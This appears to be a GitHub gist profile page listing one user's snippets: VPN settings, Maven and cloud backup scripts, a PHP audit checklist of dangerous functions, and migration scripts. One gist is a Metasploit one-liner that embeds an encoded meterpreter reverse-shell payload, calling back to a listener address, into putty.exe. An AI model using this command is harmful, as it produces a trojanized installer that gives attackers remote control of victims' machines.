Skip to content

Instantly share code, notes, and snippets.

View JCotton1123's full-sized avatar

Jesse Cotton JCotton1123

View GitHub Profile
@JCotton1123
JCotton1123 / gist:097de56d60680379995c
Created October 4, 2014 02:33
OpenVPN client settings
# Daemon options
verb 3
client
# Connection options
dev tun
remote <ip address> <port>
resolv-retry infinite
nobind
persist-key
@JCotton1123
JCotton1123 / gist:8241a2c5800951084345
Created October 23, 2014 22:28
Load a metasploit payload into putty
./msfpayload windows/meterpreter/reverse_tcp LHOST=169.254.141.18 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /tmp/putty.exe -o /tmp/puttyx.exe
@JCotton1123
JCotton1123 / maven-setup.sh
Last active August 29, 2015 14:08
Get maven setup
yum install -y java-1.7.0-openjdk-devel
wget http://apache.spinellicreations.com/maven/maven-3/3.2.3/binaries/apache-maven-3.2.3-bin.tar.gz
sudo tar xzf apache-maven-3.2.3-bin.tar.gz -C /usr/local
cd /usr/local
sudo ln -s apache-maven-3.2.3 maven
cat <<VARS > /etc/profile.d/maven.sh
export M2_HOME=/usr/local/maven
export PATH=${M2_HOME}/bin:${PATH}
@JCotton1123
JCotton1123 / cloud-image-transfer.sh
Last active August 29, 2015 14:08
cloud-image-transfer.sh
#!/bin/bash
#
# Author: Andrew Howard
# This script will copy an image from one region to another.
# BE AWARE: This will incur charges for the customer. These charges
# can be minimized by using ServiceNet for the download and by choosing
# to auto-delete the Cloud Files content once the transfer is complete.
# Even with these precautions, the customer will be charged for storage
# fees in Cloud Files (for a single month) and Cloud Images (destination).
# Note: To use ServiceNet, this script MUST be run on a Cloud Server
@JCotton1123
JCotton1123 / cloud-files-backup.sh
Last active August 29, 2015 14:08
Cloud Files backup script - written in sh
#!/bin/sh
# Backup script for uploading backups to Cloud Files
# Intended for old servers where other sol'ns won't run.
# Notes:
# * Splits files so they do not exceed the 5GB limit
# * Sets uploaded files to be deleted automatically to maintain a
# proper backup window.
# * Uploads all files as dynamic objects (google this if you care)
#!/bin/bash
CMD=$(basename $0)
STATE=$1
NAME=$2
HOSTS=$3
LICENSE_PATH=$4
PASSWORD=$5
DATA_PATH=$6
RESTART_POLICY=$7
@JCotton1123
JCotton1123 / openvpn-windows-installer.au3
Created November 6, 2014 04:42
Windows OpenVPN installer
; Automated installer for OpenVPN
; The MIT License (MIT)
;
; Copyright (c) 2014 Jesse Cotton <jcotton1123@gmail.com>
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
@JCotton1123
JCotton1123 / php-audit.md
Last active August 29, 2015 14:15
PHP Audit

PHP Audit

  1. Command Injection, File Inclusion, Directory Traversal

Check use of:

  • shell_exec
  • exec
  • backtick (`)
  • system
@JCotton1123
JCotton1123 / gist:023882559360f549ee11
Created May 19, 2015 23:34
github-contributor-builder
#!/bin/bash
data_directory="/var/www/html/"
page_size=1000
yesterday=$(date +%Y%m%d -d "yesterday")
count_query="
SELECT count(*) FROM (
SELECT actor.login,repo.name
FROM [githubarchive:day.events_${yesterday}]
@JCotton1123
JCotton1123 / rds-import.sh
Created September 23, 2015 03:44
Amazon RDS migration script
#!/bin/bash
TMP_DIR="/mnt/data/tmp"
LOCAL_HOST="localhost"
LOCAL_PASS=""
FOREIGN_HOST=".us-east-1.rds.amazonaws.com"
FOREIGN_PASS=""